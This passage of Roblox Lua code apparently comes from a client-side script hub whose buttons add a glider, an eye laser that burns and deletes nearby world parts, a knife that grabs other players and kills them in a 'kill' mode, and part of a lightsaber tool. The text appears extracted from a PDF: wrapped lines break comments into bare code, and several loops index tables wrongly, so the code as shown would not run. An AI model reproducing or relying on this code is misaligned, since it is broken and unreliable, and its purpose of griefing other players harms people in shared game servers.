p.BrickColor = BrickColor.new("Royal purple")
p.Name ="check"
p.Parent = Workspace
p.CanCollide = false
p.Size = Vector3.new(1,3,1)
p.CFrame = player.Torso.CFrame +
Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5))
p.formFactor = "Symmetric"
p.TopSurface = 0
p.BottomSurface = 0
p.Transparency = .5
local pm = Instance.new("SpecialMesh")
pm.Parent = p
pm.MeshType = "Sphere"
pm.Scale = Vector3.new(.2,.2,.2)
local pbv = Instance.new("BodyVelocity")
pbv.Parent = p
pbv.velocity = Vector3.new(0,10,0)
game:GetService("Debris"):AddItem(p, .2)
player.Humanoid.Health = player.Humanoid.Health +2
end
end
--glider?
if key == "p" then
--
rblade2 = Instance.new("Part")
rblade2.BrickColor = BrickColor.new("Institutional white")
rblade2.Parent = player
rblade2.CanCollide = false
rblade2.Size = Vector3.new(1,6,1)
rblade2.CFrame = rblade.CFrame
rblade2.formFactor = "Symmetric"
rblade2.TopSurface = 0
rblade2.BottomSurface = 0
rblade2.Reflectance = 0
rbm2 = Instance.new("BlockMesh")
rbm2.Parent = rblade2
rbm2.Scale = Vector3.new(2,1,.31)
rbw2 = Instance.new("Weld")
rbw2.Parent = rblade
rbw2.Part0 = rblade
rbw2.Part1 = rblade2
lblade2 = Instance.new("Part")
lblade2.BrickColor = rblade.BrickColor
lblade2.Parent = player
lblade2.CanCollide = false
lblade2.Size = Vector3.new(1,6,1)
lblade2.CFrame = lblade.CFrame
lblade2.formFactor = "Symmetric"
lblade2.TopSurface = 0
lblade2.BottomSurface = 0
lblade2.Reflectance = 0
lbm2 = Instance.new("BlockMesh")
lbm2.Parent = lblade2
lbm2.Scale = Vector3.new(2,1,.31)
lbw2 = Instance.new("Weld")
lbw2.Parent = lblade
lbw2.Part0 = lblade
lbw2.Part1 = lblade2
local steer = Instance.new("Part")
steer.Transparency = 1
steer.Parent = player.Head
steerw= Instance.new("Weld")
steerw.Part0 = player.Head
steerw.Part1 = steer
steerw.Parent = player.Head
steerw.C1 =
CFrame.new(0,0,0)*CFrame.Angles((math.pi*-.5),0,0)
--
right.C1 = CFrame.new(-.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(.55,.4,0)*CFrame.Angles(0,0,.5)
wait()
player.Humanoid.PlatformStand = true
glideg.Parent = steer
glideg.maxTorque =
Vector3.new(math.huge,math.huge,math.huge)
glidev.Parent = steer
glidev.maxForce =
Vector3.new(math.huge,math.huge,math.huge)
while player.Humanoid.PlatformStand == true do
wait()
glideg.cframe = CFrame.new(steer.Position,
mouse.Hit.p)
glidev.velocity = steer.CFrame.lookVector * 75
end
glidev.velocity = steer.CFrame.lookVector * 15
wait(3)
glideg:remove()
glidev:remove()
lblade2:remove()
rblade2:remove()
steer:remove()
right.C1 = CFrame.new(-1.55,.5,0)*CFrame.Angles((math.pi*-
1),(math.pi*0),(math.pi*-.25))
left.C1 = CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-1),
(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.9),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.8),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.7),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.6),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-
1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*-.25))
left.C1 =
CFrame.new(1.55,.5,0)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.25))
wait()
right.C1 = CFrame.new(-1.55,.4,0)*CFrame.Angles(0,0,-.5)
left.C1 = CFrame.new(1.55,.4,0)*CFrame.Angles(0,0,.5)
end
if key == ";" then
glideg.Parent = nil
glideg.maxTorque = Vector3.new(0,0,0)
glidev.Parent = nil
glidev.maxForce = Vector3.new(0,0,0)
end
if key == "l" then
local a = player:GetChildren()
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
for x = 1, 9 do
wait()
a.Transparency = a.Transparency +.1
end
elseif a.className == "Hat" then
for x = 1, 9 do
wait()
a.Handle.Transparency =
a.Handle.Transparency +.1
end
end
player.Head.Transparency = 1
end
wait(10)
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
for x = 1, 9 do
wait()
a.Transparency = a.Transparency -.1
end
elseif a.className == "Hat" then
for x = 1, 9 do
wait()
a.Handle.Transparency =
a.Handle.Transparency -.1
end
end
end
for i = 1,#a do
wait()
if a.className == "Part" and a.Name ~= "check" and
a.Name ~= "checkb" then
wait()
a.Transparency = 0
elseif a.className == "Hat" then
wait()
a.Handle.Transparency = 0
end
end
end
end)
----end of keys
end)
----end of tool
bin.Deselected:connect(function()
rblade:remove()
lblade:remove()
on = 2
coroutine.yield(function() shadow(rblade,lblade) end)
ls.Part1 = larm
rs.Part1 = rarm
left:remove()
right:remove()
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Eyelaser"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Eyelaser"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
--MADE BY OneLegend (NOT THE SCRIPT) LOCAL SCRIPT: Go to line 4 and put your
name where it says "YOUR NAME HERE"
playername100 = game.Players.LocalPlayer.Name
name = playername100
me = game.Players[name]
char = me.Character
selected = false
function prop(part, parent, collide, tran, ref, x, y, z, color, anchor, form)
part.Parent = parent
part.formFactor = form
part.CanCollide = collide
part.Transparency = tran
part.Reflectance = ref
part.Size = Vector3.new(x,y,z)
part.BrickColor = BrickColor.new(color)
part.TopSurface = 0
part.BottomSurface = 0
part.Anchored = anchor
part.Locked = true
part:BreakJoints()
end
function weld(w, p, p1, a, b, c, x, y, z)
w.Parent = p
w.Part0 = p
w.Part1 = p1
w.C1 = CFrame.fromEulerAnglesXYZ(a,b,c) * CFrame.new(x,y,z)
end
function mesh(mesh, parent, x, y, z, type)
mesh.Parent = parent
mesh.Scale = Vector3.new(x, y, z)
mesh.MeshType = type
end
sword = Instance.new("Model",me.Character)
sword.Name = "Eyes"
--Parts-------------------------Parts-------------------------
Parts-------------------------Parts----------------------
head = char:findFirstChild("Head")
torso = char:findFirstChild("Torso")
bg = Instance.new("BodyGyro",nil)
bg.P = 2000
bg.maxTorque = Vector3.new(0,math.huge,0)
trail1 = Instance.new("Part")
prop(trail1,nil,false,0.4,0,0.1,0.1,1,"Toothpaste",true,"Custom")
local t1 = Instance.new("SpecialMesh",trail1)
t1.MeshType = "Brick"
trail2 = Instance.new("Part")
prop(trail2,nil,false,0.4,0,0.1,0.1,1,"Toothpaste",true,"Custom")
local t2 = Instance.new("SpecialMesh",trail2)
t2.MeshType = "Brick"
local fb = Instance.new("Part")
prop(fb,nil,false,1,0,0.1,0.1,0.1,"Toothpaste",true,"Custom")
local fi = Instance.new("Fire",fb)
fi.Name = "LolFire"
fi.Size = 2
fi.Heat = 25
t1p = Vector3.new(-0.3,0.3,-0.55)
t2p = Vector3.new(0.3,0.3,-0.55)
function getp(path)
local objs = {}
for _,v in pairs(path:children()) do
if v:IsA("BasePart") then
if v:GetMass() < 30 then
table.insert(objs,v)
end
end
for _,k in pairs(v:children()) do
if k:IsA("BasePart") then
if k:GetMass() < 30 then
table.insert(objs,k)
end
end
for _,o in pairs(k:children()) do
if o:IsA("BasePart") then
if o:GetMass() < 30 then
table.insert(objs,o)
end
end
end
end
end
return objs
end
if script.Parent.className ~= "HopperBin" then
h = Instance.new("HopperBin",me.Backpack)
h.Name = "LazorEyez"
script.Parent = h
end
bin = script.Parent
bin.Selected:connect(function(mouse)
mouse.Button1Down:connect(function()
hold = true
bg.Parent = torso
trail1.Parent = char
trail2.Parent = char
fb.Parent = char
while hold do
local p1 = head.CFrame * CFrame.new(t1p).p
local p2 = head.CFrame * CFrame.new(t2p).p
local dist1 = (p1 - mouse.Hit.p).magnitude
local dist2 = (p2 - mouse.Hit.p).magnitude
bg.cframe = CFrame.new(torso.Position, mouse.Hit.p)
trail1.CFrame = CFrame.new(p1,mouse.Hit.p) *
CFrame.new(0,0,-dist1/2)
trail2.CFrame = CFrame.new(p2,mouse.Hit.p) *
CFrame.new(0,0,-dist2/2)
t1.Scale = Vector3.new(1,1,dist1)
t2.Scale = Vector3.new(1,1,dist2)
local lol1 = CFrame.new(p1,mouse.Hit.p) * CFrame.new(0,0,-
dist1)
fb.CFrame = lol1
local parts = getp(workspace)
for _,v in pairs(parts) do
if (v.Position - lol1.p).magnitude < 2 then
if v:findFirstChild("LolFire") == nil then
local f = Instance.new("Fire",v)
f.Size = 0
f.Heat = 5
f.Name = "LolFire"
coroutine.resume(coroutine.create(function()
for i=0,10,0.2 do
wait(0.1)
f.Heat = i
f.Size = i
local lol = math.random(1,2)
if lol == 1 then
v.BrickColor =
BrickColor.new("Neon orange")
else
v.BrickColor =
BrickColor.new("Bright red")
end
end
v:remove()
end))
end
end
end
wait()
end
end)
mouse.Button1Up:connect(function()
hold = false
bg.Parent = nil
trail1.Parent = nil
trail2.Parent = nil
fb.Parent = nil
end)
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Knife"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Knife"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
me = game.Players.LocalPlayer
char = me.Character
selected = false
attacking = false
hurt = false
grabbed = nil
mode = "drop"
bloodcolors = {"Bright red", "Really red"}
function remgui()
for _,v in pairs(me.PlayerGui:GetChildren()) do
if v.Name == "Modeshow" then
v:remove()
end
end
end
function inform(text,delay)
remgui()
local sc = Instance.new("ScreenGui")
sc.Parent = me.PlayerGui
sc.Name = "Modeshow"
local bak = Instance.new("Frame",sc)
bak.BackgroundColor3 = Color3.new(1,1,1)
bak.Size = UDim2.new(0.94,0,0.1,0)
bak.Position = UDim2.new(0.03,0,0.037,0)
bak.BorderSizePixel = 0
local gi = Instance.new("TextLabel",sc)
gi.Size = UDim2.new(0.92,0,0.09,0)
gi.BackgroundColor3 = Color3.new(0,0,0)
gi.Position = UDim2.new(0.04,0,0.042,0)
gi.TextColor3 = Color3.new(1,1,1)
gi.FontSize = "Size12"
gi.Text = text
coroutine.resume(coroutine.create(function()
wait(delay)
sc:remove()
end))
end
if char:findFirstChild("Bricks",true) then
char:findFirstChild("Bricks",true):remove()
end
bricks = Instance.new("Model",me.Character)
bricks.Name = "Bricks"
--Parts-------------------------Parts-------------------------
Parts-------------------------Parts----------------------
righthold = Instance.new("Part")
prop(righthold, bricks, false, 1, 0, 0.1, 0.1, 0.1, "White", false, "Custom")
w11 = Instance.new("Weld")
weld(w11, rarm, righthold, 0, 0, 0, 0, 1, 0)
lefthold = Instance.new("Part")
prop(lefthold, bricks, false, 1, 0, 0.1, 0.1, 0.1, "White", false, "Custom")
w12 = Instance.new("Weld")
weld(w12, larm, lefthold, 0, 0, 0, 0, 1, 0)
hold = Instance.new("Part")
prop(hold, bricks, false, 0, 0, 0.2, 0.4, 0.7, "Black", false, "Custom")
oh = Instance.new("Weld")
weld(oh, lleg, hold, -math.pi/1.4, 0, math.rad(35), 0.55, -0.9, 0.3)
knife = Instance.new("Part")
prop(knife, bricks, false, 0, 0, 0.35, 1.1, 0.5, "Reddish brown", false,
"Custom")
orr = Instance.new("Weld")
weld(orr, hold, knife, 0, 0, 0, 0, 0.7, 0)
ar = Instance.new("Weld")
weld(ar, lefthold, nil, math.pi/2, 0, math.pi, 0, 0, 0)
blade = Instance.new("Part")
prop(blade, bricks, false, 0, 0, 0.1, 1.5, 0.4, "Medium grey", false,
"Custom")
Instance.new("BlockMesh",blade).Scale = Vector3.new(0.3,1,1)
w2 = Instance.new("Weld")
weld(w2, knife, blade, 0, 0, 0, 0, -1.2, 0)
blade2 = Instance.new("Part")
prop(blade2, bricks, false, 0, 0, 0.1, 0.5, 0.4, "Medium grey", false,
"Custom")
local mew = Instance.new("SpecialMesh",blade2)
mew.MeshType = "Wedge"
mew.Scale = Vector3.new(0.3,1,1)
w3 = Instance.new("Weld")
weld(w3, blade, blade2, 0, 0, 0, 0, -1, 0)
rb = Instance.new("Part")
prop(rb, bricks, false, 1, 0, 0.1, 0.1, 0.1, "White", false, "Custom")
w13 = Instance.new("Weld")
weld(w13, torso, rb, 0, 0, 0, -1.5, -0.5, 0)
lb = Instance.new("Part")
prop(lb, bricks, false, 1, 0, 0.1, 0.1, 0.1, "White", false, "Custom")
w14 = Instance.new("Weld")
weld(w14, torso, lb, 0, 0, 0, 1.5, -0.5, 0)
rw = Instance.new("Weld")
weld(rw, rb, nil, 0, 0, 0, 0, 0.5, 0)
lw = Instance.new("Weld")
weld(lw, lb, nil, 0, 0, 0, 0, 0.5, 0)
grabweld = nil
platlol = nil
lolhum = nil
function touch(h)
if hurt then
if grabbed == nil then
local hu = h.Parent:findFirstChild("Humanoid")
local head = h.Parent:findFirstChild("Head")
local torz = h.Parent:findFirstChild("Torso")
if hu ~= nil and head ~= nil and torz ~= nil and
h.Parent.Name ~= name then
if hu.Health > 0 then
grabbed = torz
hu.PlatformStand = true
local w = Instance.new("Weld")
weld(w,righthold,grabbed,math.pi/2,0.2,0,0.7,-
0.9,-0.6)
grabweld = w
lolhum = hu
local lolxd = true
platlol = lolxd
hu.Changed:connect(function(prop)
if prop == "PlatformStand" and platlol
then
hu.PlatformStand = true
end
end)
end
end
end
end
end
righthold.Touched:connect(touch)
lefthold.Touched:connect(touch)
function bleed(part,po)
local lol1 = math.random(5,30)/100
local lol2 = math.random(5,30)/100
local lol3 =math.random(5,30)/100
local lol4 = math.random(1,#bloodcolors)
local p = Instance.new("Part")
prop(p,part.Parent,false,0,0,lol1,lol2,lol3,bloodcolors[lol4],false,"Custom")
p.CFrame = part.CFrame *
CFrame.new(math.random(-5,5)/10,po,math.random(-5,5)/10)
p.Velocity = Vector3.new(math.random(-190,190)/10,math.random(-
190,190)/10,math.random(-190,190)/10)
p.RotVelocity = Vector3.new(math.random(-400,400)/10,math.random(-
400,400)/10,math.random(-400,400)/10)
coroutine.resume(coroutine.create(function()
wait(3)
p:remove()
end))
end
bin = script.Parent
function select(mouse)
orr.Part1 = nil
ar.Part1 = knife
mouse.Button1Down:connect(function()
if attacking == false then
attacking = true
lw.Part1 = larm
rw.Part1 = rarm
hurt = true
for i=1, 8 do
rw.C0 = rw.C0 * CFrame.new(-0.03,0,-0.08) *
CFrame.fromEulerAnglesXYZ(0.18,0.04,0)
lw.C0 = lw.C0 * CFrame.new(0.06,0,-0.06) *
CFrame.fromEulerAnglesXYZ(0.15,-0.11,-0.05)
wait()
end
wait(1)
hurt = false
if grabbed == nil then
for i=1, 4 do
rw.C0 = rw.C0 * CFrame.new(0.06,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.36,-0.08,0)
lw.C0 = lw.C0 * CFrame.new(-0.12,0,0.12) *
CFrame.fromEulerAnglesXYZ(-0.3,0.22,0.05)
wait()
end
lw.C0 = CFrame.new(0,0,0)
rw.C0 = CFrame.new(0,0,0)
lw.Part1 = nil
rw.Part1 = nil
attacking = false
end
elseif hurt == false and grabbed ~= nil and mode == "drop" then
grabweld:remove()
grabweld = nil
platlol = false
grabbed = nil
lolhum.PlatformStand = false
lolhum = nil
for i=1, 4 do
rw.C0 = rw.C0 * CFrame.new(0.06,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.36,-0.08,0)
lw.C0 = lw.C0 * CFrame.new(-0.12,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.3,0.2,0)
wait()
end
lw.C0 = CFrame.new(0,0,0)
rw.C0 = CFrame.new(0,0,0)
lw.Part1 = nil
rw.Part1 = nil
attacking = false
platlol = nil
elseif hurt == false and grabbed ~= nil and grabweld ~= nil and
mode == "throw" then
grabweld:remove()
grabweld = nil
local bf = Instance.new("BodyForce",grabbed)
bf.force = torso.CFrame.lookVector * 8500
bf.force = bf.force + Vector3.new(0,7400,0)
coroutine.resume(coroutine.create(function()
wait(0.12)
bf:remove()
end))
for i=1, 6 do
rw.C0 = rw.C0 * CFrame.new(0,0,0) *
CFrame.fromEulerAnglesXYZ(0.35,0,0)
lw.C0 = lw.C0 * CFrame.new(0,0,0) *
CFrame.fromEulerAnglesXYZ(-0.18,0,0)
wait()
end
for i=1, 4 do
rw.C0 = rw.C0 * CFrame.new(0,0,0) *
CFrame.fromEulerAnglesXYZ(-0.47,0,0)
lw.C0 = lw.C0 * CFrame.new(0,0,0) *
CFrame.fromEulerAnglesXYZ(0.2,0,0)
wait()
end
wait(0.2)
platlol = false
grabbed = nil
lolhum.PlatformStand = false
lolhum = nil
for i=1, 4 do
rw.C0 = rw.C0 * CFrame.new(0.06,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.36,-0.08,0)
lw.C0 = lw.C0 * CFrame.new(-0.12,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.3,0.2,0)
wait()
end
lw.C0 = CFrame.new(0,0,0)
rw.C0 = CFrame.new(0,0,0)
lw.Part1 = nil
rw.Part1 = nil
attacking = false
platlol = nil
elseif hurt == false and grabbed ~= nil and lolhum ~= nil and
grabweld ~= nil and mode == "kill" then
for i=1, 5 do
lw.C0 = lw.C0 * CFrame.new(0.02,0.12,0.1) *
CFrame.fromEulerAnglesXYZ(-0.05,0,-0.03)
wait()
end
local ne = grabbed:findFirstChild("Neck")
coroutine.resume(coroutine.create(function()
local duh = grabbed
local duh2 = grabbed.Parent.Head
local lolas = lolhum
duh.RotVelocity = Vector3.new(math.random(-
20,20),math.random(-20,20),math.random(-20,20))
for i=1, 60 do
wait()
local hm = math.random(1,9)
pcall(function()
if hm == 1 then
duh2.Sound.Pitch =
math.random(90,110)/100
duh2.Sound:play()
end
end)
if hm > 0 and hm < 3 then
bleed(duh,1)
bleed(duh2,-0.5)
end
end
lolas.Health = 0
for i=1, 85 do
wait()
local hm = math.random(1,9)
pcall(function()
if hm == 1 then
duh2.Sound.Pitch =
math.random(90,110)/100
duh2.Sound:play()
end
end)
if hm > 0 and hm < 3 then
bleed(duh,1)
bleed(duh2,-0.5)
end
end
end))
for i=1, 3 do
lw.C0 = lw.C0 * CFrame.new(0.02,0.12,0.1) *
CFrame.fromEulerAnglesXYZ(-0.05,0,-0.03)
if ne ~= nil then
grabbed.Neck.C0 = grabbed.Neck.C0 *
CFrame.fromEulerAnglesXYZ(-0.35,0,0)
end
wait()
end
grabweld:remove()
grabweld = nil
for i=1, 4 do
lw.C0 = lw.C0 * CFrame.new(-0.04,-0.24,-0.2) *
CFrame.fromEulerAnglesXYZ(0.1,0,0.06)
wait()
end
for i=1, 4 do
rw.C0 = rw.C0 * CFrame.new(0.06,0,0.16) *
CFrame.fromEulerAnglesXYZ(-0.36,-0.08,0)
lw.C0 = lw.C0 * CFrame.new(-0.12,0,0.12) *
CFrame.fromEulerAnglesXYZ(-0.3,0.22,0.05)
wait()
end
lw.C0 = CFrame.new(0,0,0)
rw.C0 = CFrame.new(0,0,0)
lw.Part1 = nil
rw.Part1 = nil
platlol = false
grabbed = nil
lolhum = nil
attacking = false
platlol = nil
end
end)
mouse.KeyDown:connect(function(kai)
key = kai:lower()
if key == "q" then
mode = "drop"
inform("Mode: Drop",2)
elseif key == "e" then
mode = "throw"
inform("Mode: Throw",2)
elseif key == "f" then
mode = "kill"
inform("Mode: Kill",2)
end
end)
end
function desel()
repeat wait() until attacking == false
orr.Part1 = knife
ar.Part1 = nil
end
bin.Selected:connect(select)
bin.Deselected:connect(desel)
char.Humanoid.Died:connect(function()
pcall(function()
grabweld:remove()
grabweld = nil
grabbed = nil
platlol = false
platlol = nil
end)
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Lance"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Lance"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Lightsaber"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Lightsaber"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
--MADE BY OneLegend (NOT THE SCRIPT) LOCAL SCRIPT: Go to line 4 and 1351 and
put your name where it says "YOUR NAME HERE"
Players = game:GetService("Players")
Player = Players.LocalPlayer
Bp = Player.Backpack
Pg = Player.PlayerGui
Char = Player.Character
Head = Char.Head
Torso = Char.Torso
Hum = Char.Humanoid
Humanoid = Hum
Neck = Torso["Neck"]
LS = Torso["Left Shoulder"]
RS = Torso["Right Shoulder"]
Ra = Char["Right Arm"]
La = Char["Left Arm"]
mouse = nil
Mouse = nil
bets =
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u
","v","w","x","y","z"," "}
inew = Instance.new
it = Instance.new
bc = BrickColor.new
vn = Vector3.new
cn = CFrame.new
ca = CFrame.Angles
mpi = math.pi
v3 = vn
mr = math.rad
br = BrickColor.new
cf = CFrame.new
ca = CFrame.Angles
Colors = {"Really Red"}
BladeColor = tostring(BrickColor.Random()) --Colors[math.random(1,#Colors)]
TrailColor = BladeColor
HopperName = "light saber"
Rage = 100000
MaxRage = Rage
SwordType = "Single"
LeftDebounce = {}
RightDebounce = {}
OtherDebounce = {}
Anim = {key = {}}
for i=1,#bets do table.insert(Anim.key,bets) end
Anim.Move = "None"
Anim.Click = false
Anim.Button = false
Anim.CanBerserk = 0
Anim.ComboBreak = false
Anim.Equipped = false
keydown = false
Speed = 2
RageIncome = 500
Left = false
Right = false
Anim.Act = false
RealSpeed = 35
DebounceSpeed = 0.85/Speed
RageCost = {
["Berserk"] = 200;
["RotorBlade"] = 30;
["Blocking"] = 0.1;
["Boomerang"] = 30;
["RageRegening"] = -0.7;
["BoulderForce"] = 45;
["ForceWave"] = 65;
["ForceWave"] = 32;
["Teleport"] = 25;
["DualSpin"] = 4;
}
MagnitudeHit = {
["ForceWave"] = 500;
}
Damage = {
["RotorBlade"] = 8;
["BoulderForce"] = 100;
["Boomerang"] = 100;
["ForceWave"] = 100;
["DualSpin"] = 5;
}
Props = {}
Props.MaxTeleDistance = 500
Props.Buff = 1
BlastMesh = Instance.new("FileMesh")
BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
local funcw = Instance.new("Weld")
funcw.Name = zName
funcw.Parent = zParent
funcw.Part0 = zPart0
funcw.Part1 = zPart1
if (zCoco == true) then
funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
else
funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
end
return funcw
end
function Dash(ob,se,mes,of)
local off = nil
if of == nil then off = 0 else off = of end
pcall(function()
coroutine.resume(coroutine.create(function()
local dashin = true
local oldpos = (ob.CFrame *CFrame.new(0,off,0)).p
coroutine.resume(coroutine.create(function()
wait(se) dashin = false end))
for i=1,9999 do
if dashin == false then break end
local newpos = (ob.CFrame *CFrame.new(0,off,0)).p --+
Vector3.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
local np = Instance.new("Part")
np.BrickColor = BrickColor.new(TrailColor)
np.CanCollide = false
